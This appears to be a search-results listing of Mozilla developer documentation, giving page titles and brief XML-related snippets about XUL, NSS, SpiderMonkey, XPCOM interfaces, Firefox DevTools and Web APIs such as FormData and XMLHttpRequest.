reference information about them is available below: preferences system documentation: introduction: getting started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul attributes use code for a typical preferences window may look like this: <prefwindow id="apppreferences" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="pane1" label="&pane1.title;"> <preferences> <preference id="pref1" name="pref.name" type="bool"/> </preferences> ..
McCoy
the signing is rdf aware, which means that if you reorganized the xml in the file into a more human readable form but the rdf data remained the same then the signature would still be valid.
Index
jar installation file format file:///tmp/xmlto.6ggxs0/modutil.pro...r-install-file 2.
nss tech note7
pkcs #1 v1.5 block formatting question: in pkcs #1 v1.5 (section 8.1 encryption-block formatting) and v2.1 (section 7.2.1 encryption operation), pkcs1 v1.5 padding is described like this: 00 || 02 || ps || 00 || m but in pkcs #1 v2.0 (section 9.1.2.1 encoding operation, step 3) and on the w3c web site (http://www.w3.org/tr/xmlenc-core/#rsa-1_5), pkcs1 v1.5 padding is described like this: 02 || ps || 00 || m 00 at the beginning is missing.
NSS Tools Man Pages - work in progress
these man pages where generated from xml docbook files.
NSS tools : modutil
jar installation file format file:///tmp/xmlto.euwoj0/modutil.pro...r-install-file 2.
NSS tools : modutil
MozillaProjectsNSStoolsmodutil
jar installation file format file:///tmp/xmlto.6ggxs0/modutil.pro...r-install-file 2.
Rhino and BSF
this framework has been embedded in a number of open source projects, including the xsl processor xalan and the xml/java build tool ant.
Rhino overview
rhino 1.6 and greater implement ecma-357 ecmascript for xml (e4x).
FOSS
flusspferd - (newer) c++ bindings libjspp - c++ template based library for extending & embedding spidermonkey; works with spidermonkey 1.8.5 and above, has lots of goodies spiderape - the oldest c++ bindings for spidermonkey trixul - (trixul cvs) - trixul xml-based gui toolkit embeds spidermonkey, using javascript to implement logic behind its gui, supporting calls from javascript to c++ objects rust mozjs - rust bindings used by servo gnome gjs - javascript bindings to gnome (broadly, to any library using the gobject introspection mechanism) objective caml http://alain.frisch.fr/soft.html#spider - bindings to embed spidermonkey in ocam...
Introduction to the JavaScript shell
kind is either 'all' (default) to count all things or one of 'object', 'double', 'string', 'function', 'qname', 'namespace', 'xml' to count only things of that kind.
JSAPI User Guide
the word javascript may bring to mind features such as event handlers (like onclick), dom objects, window.open, and xmlhttprequest.
JSExtendedClass.wrappedObject
(the result may be "object", "function", or "xml".) when assigning to __proto__ or __parent__ from script, the javascript engine checks to see if the assignment would produce a cycle.
JSGetObjectOps
further extension to preserve api compatibility: if this function returns a pointer to jsxmlobjectops.base, not to jsobjectops, then the engine calls extended hooks needed for e4x.
JS_ExecuteScript
obsolete since jsapi 39 obj must not be an array, an e4x xml object, a with object, or a proxy.
JS_ExecuteScriptVersion
obj must not be an array, an e4x xml object, a with object, or a proxy.
JS_InitStandardClasses
ecodeuri, decodeuricomponent, encodeuri, encodeuricomponent, error, eval, evalerror, function, infinity, isnan, isfinite, math, nan, number, object, parseint, parsefloat, rangeerror, referenceerror, regexp, string, syntaxerror, typeerror, undefined, and urierror as well as a few spidermonkey-specific globals, depending on compile-time options: escape, unescape, uneval, internalerror, script, xml, namespace, qname, file, generator, iterator, and stopiteration, as of spidermonkey 1.7.
TPS Bookmark Lists
mark should be moved to position: the title of the existing bookmark item, in the current folder, where this livemark should be moved to (i.e., this livemark would be inserted into the bookmark list at the position of the named bookmark, causing that bookmark to be positioned below the current one) example: { livemark: "livemarkone", feeduri: "http://rss.wunderground.com/blog/jeffmasters/rss.xml", siteuri: "http://www.wunderground.com/blog/jeffmasters/show.html" } folder objects valid properties are: folder: the folder's name.
Gecko object attributes
applied to: any role xml-roles if a dynamic content accessibility role string is used, it is exposed here.
XForms Accessibility
its value is xml schema builit-in datatype of instance node that xforms element is bound to.
Packaging WebLock
the chrome registry lives in a series of rdf/xml files in the application directory of mozilla and other gecko-based browsers, where new installs, user configurable data, skins, and other information are related to one another and the application itself.
Components.utils.Sandbox
the following objects are supported: -promise (removed in firefox 37) css indexeddb (web worker only) xmlhttprequest textencoder textdecoder url urlsearchparams atob btoa blob file crypto rtcidentityprovider fetch (added in firefox 41) caches filereader for example: var sandboxscript = 'var encoded = btoa("hello");' + ...
Components object
utils.xml provides access to the value of the xml property in the javascript environment.
XPCShell Reference
-x this option toggles the xml option on and off.
inIDOMUtils
value state 1 :active 2 :focus 4 :hover 8 :-moz-drag-over 16 :target 1<<29 :-moz-focusring methods getbindingurls() returns an array of nsiuri objects representing the current xml binding for the specified element.
mozIRegistry
the contents of this rdf data base will be stored in a plain-text rdf/xml file so that it can easily be viewed edited.
nsIBrowserBoxObject
the browser.xml binding uses this property to gain access to the webnavigation, contentdocument, contentwindow, webbrowserfind, webprogress and sessionhistory properties.
nsIContainerBoxObject
the browser.xml, editor.xml and general.xml bindings use this property to gain access to other properties such as webnavigation, contentdocument and contentwindow.
nsIDOMElement
dom/interfaces/core/nsidomelement.idlscriptable this interface represents an element in an html or xml document.
nsIDOMFontFace
metadata domstring xml metadata from woff file(if any).
nsIDOMXPathEvaluator
see also introduction to using xpath in javascript document.evaluate dom level 3 xpath specification xml path language (xpath)rec nsidomxpathresult nsidomxpathexception ...
nsIDictionary
extensions/xml-rpc/idl/nsidictionary.idlscriptable a simple mutable table of objects, maintained as key/value pairs.
nsIDocShell
all values from here upward are confident enough to be used for xmlhttprequest.
nsIEditor
editorapi.outputtostring('text/html', 8); // xml: all in xml with _moz_dirty="" in new tags, html tags are in upper case // application/xhtml+xml format do the same editorapi.outputtostring('text/xml', 2); // the body is not recognized, everything is printed void outputtostream(in nsioutputstream astream, in astring formattype, in acstring charsetoverride, in unsigned long flags); listener methods void addeditoro...
nsIEditorBoxObject
the editor.xml binding uses this property to gain access to the webnavigation, contentdocument, contentwindow, webbrowserfind, editingsession and commandmanager properties.
nsIFeedProgressListener
reporterror() called by the feed processor when a fatal xml parsing error occurs, or if the document isn't a feed.
nsIFeedResult
introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void registerextensionprefix(in astring anamespace, in astring aprefix); attributes attribute type description bozo boolean the feed processor sets the bozo bit when a feed triggers a fatal error during xml parsing.
nsIFilePicker
filterxml 0x010 corresponds to the *.xml filter for file extensions.
nsIFileView
example <?xml version="1.0" ?> <?xml-stylesheet href="chrome://global/skin/" type="text/css" ?> <window id="test" title="test" width="640" height="480" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree flex="1" id="ftree"> <treecols> <-- the default column type is size unless an appropriate id is passed, nsifileview relies ...
nsIIFrameBoxObject
the general.xml binding uses this property to gain access to the webnavigation, contentdocument and contentwindow properties.
nsIMarkupDocumentViewer
docshell/base/nsimarkupdocumentviewer.idlscriptable describes the properties of a content viewer for an html or xml markup document.
nsIMicrosummaryGenerator
localuri nsiuri for generators installed by the user or bundled with the browser, the local uri points to the location of the local file containing the generator's xml.
Building an Account Manager Extension
<?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet href="chrome://messenger/skin/accountmanage.css" type="text/css"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="parent.onpanelloaded('am-devmo-account.xul');"> <script type="application/javascript" src="chrome://messenger/content/accountmanager.js"/> <script type="application/javascript" src="chr...
nsIPushSubscription
st { classes: cc, interfaces: ci, utils: cu } = components; const scriptsecuritymanager = cc["@mozilla.org/scriptsecuritymanager;1"] .getservice(ci.nsiscriptsecuritymanager); const pushservice = cc["@mozilla.org/push/service;1"] .getservice(ci.nsipushservice); function sendsubscriptiontoserver(subscription) { let request = cc["@mozilla.org/xmlextras/xmlhttprequest;1"] .createinstance(ci.nsixmlhttprequest); request.open("post", "https://example.com/register-for-push", true); request.addeventlistener("error", () => { cu.reporterror("error sending subscription to server"); }); request.send(json.stringify({ endpoint: subscription.endpoint, // base64-encode the key and authentication secret.
nsIScriptError
ay "xpconnect javascript" "component javascript" "chrome javascript" "chrome registration" "xbl" "xbl prototype handler" "xbl content sink" "xbl javascript" "frameconstructor" categories the web console displays "hudconsole" "css parser" "css loader" "content javascript" "dom events" "dom:html" "dom window" "svg" "imagemap" "html" "canvas" "dom3 load" "dom" "malformed-xml" "dom worker javascript" "mixed content blocker" "csp" "invalid hsts headers" "insecure password field" see also using the web console error console nsiconsolemessage nsiscripterror2 ...
nsISearchEngine
constants search engine type constants constant value description type_mozsearch 1 type_sherlock 2 type_opensearch 3 search engine data type constants constant value description data_xml 1 data type is xml data_text 2 data type is text.
nsITraceableChannel
to xmlhttprequest or to the browser tab that made the request) with your own implementation (see "implementing nsistreamlistener" below).
nsIWebPageDescriptor
constants display type constants constant value description display_as_source 0x0001 generates an optionally syntax-highlighted (for xml/html documents) source of the original page.
nsIXULTemplateResult
generally, the result and its id will be able to uniquely identify a node in the source data, such as an rdf or xml node.
XPCOM Interface Reference
portnsiwifiaccesspointnsiwifilistenernsiwifimonitornsiwinaccessnodensiwinapphelpernsiwintaskbarnsiwindowcreatornsiwindowmediatornsiwindowwatchernsiwindowsregkeynsiwindowsshellservicensiworkernsiworkerfactorynsiworkerglobalscopensiworkermessageeventnsiworkermessageportnsiworkerscopensiwritablepropertybagnsiwritablepropertybag2nsixformsmodelelementnsixformsnsinstanceelementnsixformsnsmodelelementnsixmlhttprequestnsixmlhttprequesteventtargetnsixmlhttprequestuploadnsixpcexceptionnsixpcscriptablensixpconnectnsixsltexceptionnsixsltprocessornsixsltprocessorobsoletensixulappinfonsixulbrowserwindownsixulbuilderlistenernsixulruntimensixulsortservicensixultemplatebuildernsixultemplatequeryprocessornsixultemplateresultnsixulwindownsixmlrpcclientnsixmlrpcfaultnsizipentrynsizipreadernsizipreadercachensizip...
nsIAbCard/Thunderbird3
the following types are supported: base64xml xml vcard autf8string translateto(in autf8string atype); parameters atype the type of item to translate the card into.
Setting HTTP request headers
you can add your own http headers to any request the application makes, whether the request is initiated by your code explicitly opening an http channel, because of xmlhttprequest activity, an <img> element in content, or even from css.
Creating a Custom Column
our replyto_col_overlay.xul should now contain something similar to this: <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colreplyto" persist="hidden ordinal width" currentview="unthreaded" flex="2" label="reply-to" tooltiptext="click to sort by the reply-to header" /> ...
Activity Manager examples
for xbl samples please see activity.xml and activitybinding.css files.
Add Option to Context Menu
for thunderbird 2 <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="messagepanecontext"> <menuitem id="my_option" label="my option concise and cool label" oncommand="alert('hi')"/> </menupopup> </overlay> for thunderbird 3 <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <popup id="mailcontext"> <menuitem id="my_option" label="my option concis...
Add Toolbar Button
example xul overlay file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://demo/skin/overlay.css" type="text/css" ?> <overlay id="messengerwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/x-javascript" src="overlay.js" /> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="demo-button" class="demo-button toolbarbutton-1" label="demo" type="button" oncommand="demo.load();" /> </toolbarpalette> </overlay> add this to the css file you referenced in your xul file: #demo-button, [place="palette"] > #demo-button { list-style-image: url("chrome://demo/skin/icon.png") !important; } ...
Working with windows in chrome code
todo: link to how to pass an xpcom object to a new window when it has a more useful example opener code: window.opendialog("chrome://test/content/progress.xul", "myprogress", "chrome,centerscreen", {status: "reading remote data", maxprogress: 50, progress: 10} ); progress.xul: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window onload="onload();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script><![cdata[ var gstatus, gprogressmeter; var maxprogress = 100; function onload() { gstatus = document.getelementbyid("status"); gprogressmeter = document.getelementbyid("progressmeter"); if("arguments" in...
Preferences System
reference information about them is available below: preferences system documentation: introduction: getting started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul attributes use code for a typical preferences window may look like this: <prefwindow id="apppreferences" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="pane1" label="&pane1.title;"> <preferences> <preference id="pref1" name="pref.name" type="bool"/> </preferences> ..
DOM Inspector internals - Firefox Developer Tools
its contents should resemble the following: extensions/ … jsutil/ … prefs/ … res/ … tests/ … viewers/ … browseroverlay.xul commandoverlay.xul editingoverlay.xul flasher.js hooks.js inspector.css inspector.js inspectoroverlay.xul inspector.xml inspector.xul keysetoverlay.xul object.js object.xul popupoverlay.xul sidebar.js sidebar.xul statusbaroverlay.xul tasksoverlay-cz.xul tasksoverlay-ff.xul tasksoverlay-mobile.xul tasksoverlay-sb.xul tasksoverlay-tb.xul tasksoverlay.xul toolboxoverlay.xul utils.js venkmanoverlay.xul viewerregistry.js overlays you will notice that there are a lot of overlays.
Set an XHR breakpoint - Firefox Developer Tools
an xhr (xmlhttprequest) breakpoint breaks code execution when an xhr request is dispatched so that you can examine the current state of the program.
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
indeed, this display shows that popup.xml and content.js, which are internal components of firefox, allocated more objects in the page's compartment than the page itself.
Network request list - Firefox Developer Tools
filtering requests you can filter requests by content type, by whether they are xmlhttprequests or websocket requests, or by request properties.
Network Monitor - Firefox Developer Tools
the network monitor shows you all the network requests firefox makes (for example, when it loads a page, or due to xmlhttprequests), how long each request takes, and details of each request.
Waterfall - Firefox Developer Tools
parse xml time spent parsing the page's xml.
Validators - Firefox Developer Tools
w3c rdf validator the rdf validator service will validate the rdf/xml contained on a given uri.
Web Console remoting - Firefox Developer Tools
the isxhr flag indicates if the request was initiated via an xmlhttprequest instance, that is: the nsihttpchannel's notification is of an nsixmlhttprequest interface.
Attr.namespaceURI - Web APIs
WebAPIAttrnamespaceURI
per the namespaces in xml specification, an attribute does not inherit its namespace from the element it is attached to.
Attr.prefix - Web APIs
WebAPIAttrprefix
when a document is served with an xml mime type.
Attr - Web APIs
WebAPIAttr
in html dom, "id" is the only id attribute, but xml documents could define others.
AudioBufferSourceNode.loop - Web APIs
you can run the full example live (or view the source.) function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); ...
AudioBufferSourceNode.loopEnd - Web APIs
function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; sou...
AudioBufferSourceNode.loopStart - Web APIs
function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; sourc...
AudioBufferSourceNode.playbackRate - Web APIs
<input class="playback-rate-control" type="range" min="0.25" max="3" step="0.05" value="1"> <span class="playback-rate-value">1.0</span> function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); ...
AudioProcessingEvent - Web APIs
create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function...
BaseAudioContext.createConvolver() - Web APIs
// grab audio track via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error wi...
BaseAudioContext.createScriptProcessor() - Web APIs
create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function...
BaseAudioContext - Web APIs
in this case, the arraybuffer is usually loaded from an xmlhttprequest's response attribute after setting the responsetype to arraybuffer.
CSSStyleSheet - Web APIs
he style sheet object the interface for the owner object getting the cssstylesheet object from the owner <style> and <link> elements in the document yes .ownernode htmllinkelement, htmlstyleelement, or svgstyleelement .sheet css @import rule in other style sheets applied to the document yes .ownerrule cssimportrule .stylesheet <?xml-stylesheet ?> processing instruction in the (non-html) document yes .ownernode processinginstruction .sheet http link header yes n/a n/a n/a user agent (default) style sheets no n/a n/a n/a specifications specification status comment css object model (cssom)the definition of 'cssstylesheet' in that specification...
CanvasRenderingContext2D.filter - Web APIs
takes an iri pointing to an svg filter element, which may be embedded in an external xml file.
console - Web APIs
WebAPIConsole
console.dirxml() displays an xml/html element representation of the specified object if possible or the javascript object view if it is not possible.
ConvolverNode.buffer - Web APIs
// grab audio track via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error wi...
ConvolverNode.normalize - Web APIs
// grab audio track via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error wi...
DOMError - Web APIs
WebAPIDOMError
namespaceerror the operation is not allowed by namespaces in xml invalidaccesserror the object does not support the operation or argument.
DOMException - Web APIs
(legacy code value: 13 and legacy constant name: invalid_modification_err) namespaceerror the operation is not allowed by namespaces in xml.
Document.createAttribute() - Web APIs
exceptions invalid_character_err if the parameter contains invalid characters for xml attribute.
Document.createCDATASection() - Web APIs
example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml') var cdata = docu.createcdatasection('some <cdata> data & then some'); docu.getelementsbytagname('xml')[0].appendchild(cdata); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><![cdata[some <cdata> data & then some]]></xml> notes this will only work with xml, not html documents (as html documents do not support cdata sections); attempting it on an html document will throw not_supported_err.
Document.createComment() - Web APIs
example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml'); var comment = docu.createcomment('this is a not-so-secret comment in your document'); docu.getelementsbytagname('xml')[0].appendchild(comment); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><!--this is a not-so-secret comment in your document--></xml> specifications specification status comment domthe definition of 'document.createcomment' in that specification.
Document.createElementNS() - Web APIs
although this is not an extremely useful xul document, it does demonstrate the use of elements from two different namespaces within a single document: <?xml version="1.0"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml" title="||working with elements||" onload="init()"> <script type="application/javascript"><![cdata[ let container; let newdiv; let txtnode; function init(){ container = document.getelementbyid("containerbox"); newdiv = document.createel...
Document.documentElement - Web APIs
for any non-empty xml document, documentelement will always be whatever element is the root element of the document.
Document.implementation - Web APIs
a list of module names (e.g., core, html, xml, etc.) is available in the dom level 2 conformance section.
Document.lastModified - Web APIs
(see: bug 4363 – document.lastmodified returns date in utc time, but should return it in local time) if you want to know whether an external page has changed, please read this paragraph about the xmlhttprequest() api.
Document.write() - Web APIs
WebAPIDocumentwrite
this happens when opening a local file with the .xhtml file extension or for any document served with an application/xhtml+xml mime type.
Document.writeln() - Web APIs
WebAPIDocumentwriteln
this is the case if opening a local file with a .xhtml file extension or for any document served with an application/xhtml+xml mime type.
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
the dom methods presented here are not specific to html; they also apply to xml.
Element: DOMActivate event - Web APIs
bubbles yes cancelable yes interface mouseevent examples <svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseprofile="tiny" xmlns:ev="http://www.w3.org/2001/xml-events" width="6cm" height="5cm" viewbox="0 0 600 500"> <desc>example: invoke an ecmascript function from a domactivate event</desc> <!-- ecmascript to change the radius --> <script type="application/ecmascript"><![cdata[ function change(evt) { var circle = evt.target; var currentradius = circle.getfloattrait("r"); if (currentradius == 100) circle.setfloattrait("r", currentradius *...
Element.prefix - Web APIs
WebAPIElementprefix
when a document is served with an xml mime type.
Element.removeAttributeNS() - Web APIs
example // given: // <div id="div1" xmlns:special="http://www.mozilla.org/ns/specialspace" // special:specialalign="utterleft" width="200px" /> d = document.getelementbyid("div1"); d.removeattributens("http://www.mozilla.org/ns/specialspace", "specialalign"); // now: <div id="div1" width="200px" /> notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 metho...
Element.setAttributeNodeNS() - Web APIs
example // <div id="one" xmlns:myns="http://www.mozilla.org/ns/specialspace" // myns:special-align="utterleft">one</div> // <div id="two">two</div> var myns = "http://www.mozilla.org/ns/specialspace"; var d1 = document.getelementbyid("one"); var d2 = document.getelementbyid("two"); var a = d1.getattributenodens(myns, "special-align"); d2.setattributenodens(a.clonenode(true)); alert(d2.attributes[1].value) // returns: `utterleft' notes if the specified attribute already exists on the element, then that attribute is replaced w...
EventTarget.addEventListener() - Web APIs
common targets are element, document, and window, but the target may be any object that supports events (such as xmlhttprequest).
EventTarget - Web APIs
for example xmlhttprequest, audionode, audiocontext, and others.
Fetch basic concepts - Web APIs
it will seem familiar to anyone who has used xmlhttprequest, but it provides a more powerful and flexible feature set.
Fetch API - Web APIs
WebAPIFetch API
it will seem familiar to anyone who has used xmlhttprequest, but the new api provides a more powerful and flexible feature set.
File.getAsBinary() - Web APIs
WebAPIFilegetAsBinary
example // fileinput is an htmlinputelement: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; // object for allowed media types var accept = { binary : ["image/png", "image/jpeg"], text : ["text/plain", "text/css", "application/xml", "text/html"] }; var file; for (var i = 0; i < files.length; i++) { file = files[i]; // if file type could be detected if (file !== null) { if (accept.binary.indexof(file.type) > -1) { // file is a binary, which we accept var data = file.getasbinary(); } else if (accept.text.indexof(file.type) > -1) { // file is of type text, which we accept var data = fi...
File.getAsText() - Web APIs
WebAPIFilegetAsText
example // fileinput is a htmlinputelement: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; // object for allowed media types var accept = { binary : ["image/png", "image/jpeg"], text : ["text/plain", "text/css", "application/xml", "text/html"] }; var file; for (var i = 0; i < files.length; i++) { file = files[i]; // if file type could be detected if (file !== null) { if (accept.text.indexof(file.mediatype) > -1) { // file is of type text, which we accept // make sure it's encoded as utf-8 var data = file.getastext("utf-8"); // modify data with string methods } else if (accept.bin...
File - Web APIs
WebAPIFile
in particular, filereader, url.createobjecturl(), createimagebitmap(), and xmlhttprequest.send() accept both blobs and files.
FileHandle API - Web APIs
for example, there are many apis that expect blob or file objects such as filereader (which can be easier to use to read the whole file) or xmlhttprequest.
Introduction to the File and Directory Entries API - Web APIs
for example, you are likely to use one of the following: xmlhttprequest (such as the send() method for file and blob objects) drag and drop api web workers (for the synchronous version of the file and directory entries api) the input element (to programmatically obtain a list of files from the element) the file and directory entries api is case sensitive the filesystem api is case-sensitive, and case-preserving.
FormData() - Web APIs
WebAPIFormDataFormData
let myform = document.getelementbyid('myform'); let formdata = new formdata(myform); specifications specification status comment xmlhttprequestthe definition of 'formdata()' in that specification.
FormData.append() - Web APIs
WebAPIFormDataappend
if the sent value is different than string or blob it will be automatically converted to string: formdata.append('name', true); formdata.append('name', 74); formdata.append('name', 'john'); formdata.getall('name'); // ["true", "74", "john"] specifications specification status comment xmlhttprequestthe definition of 'append()' in that specification.
FormData.delete() - Web APIs
WebAPIFormDatadelete
example the following line creates an empty formdata object and prepopulates it with key/value pairs from a form: var formdata = new formdata(myform); you can delete keys and their values using delete(): formdata.delete('username'); specifications specification status comment xmlhttprequestthe definition of 'delete()' in that specification.
FormData.entries() - Web APIs
WebAPIFormDataentries
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the key/value pairs for(var pair of formdata.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment xmlhttprequestthe definition of 'entries() (as iterator<>)' in that specification.
FormData.get() - Web APIs
WebAPIFormDataget
g line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following get() function will only return the first username value appended: formdata.get('username'); // returns "chris" specifications specification status comment xmlhttprequestthe definition of 'get()' in that specification.
FormData.getAll() - Web APIs
WebAPIFormDatagetAll
eates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following getall() function will return both username values in an array: formdata.getall('username'); // returns ["chris", "bob"] specifications specification status comment xmlhttprequestthe definition of 'getall()' in that specification.
FormData.has() - Web APIs
WebAPIFormDatahas
ormdata = new formdata(); the following snippet shows the results of testing for the existence of username in the formdata object, before and after appending a username value to it with formdata.append: formdata.has('username'); // returns false formdata.append('username', 'chris'); formdata.has('username'); // returns true specifications specification status comment xmlhttprequestthe definition of 'has()' in that specification.
FormData.keys() - Web APIs
WebAPIFormDatakeys
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the keys for (var key of formdata.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment xmlhttprequestthe definition of 'keys() (as iterator<>)' in that specification.
FormData.set() - Web APIs
WebAPIFormDataset
); // currently empty you can set key/value pairs on this using formdata.set: formdata.set('username', 'chris'); formdata.set('userpic', myfileinput.files[0], 'chris.jpg'); if the sent value is different than string or blob it will be automatically converted to string: formdata.set('name', 72); formdata.get('name'); // "72" specifications specification status comment xmlhttprequestthe definition of 'set()' in that specification.
FormData.values() - Web APIs
WebAPIFormDatavalues
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the values for (var value of formdata.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment xmlhttprequestthe definition of 'values() (as iterator<>)' in that specification.
FormDataEvent.formData - Web APIs
// construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition of 'formdata' in that specification.
GlobalEventHandlers.onformdata - Web APIs
ventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'onformdata' in that specification.
GlobalEventHandlers.onload - Web APIs
the onload property of the globaleventhandlers mixin is an eventhandler that processes load events on a window, xmlhttprequest, <img> element, etc.
HTMLElement.lang - Web APIs
WebAPIHTMLElementlang
this also only works with the lang attribute and not with xml:lang.
HTMLFormElement: formdata event - Web APIs
// construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); the onformdata version would look like this: formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); re...
HTMLFormElement - Web APIs
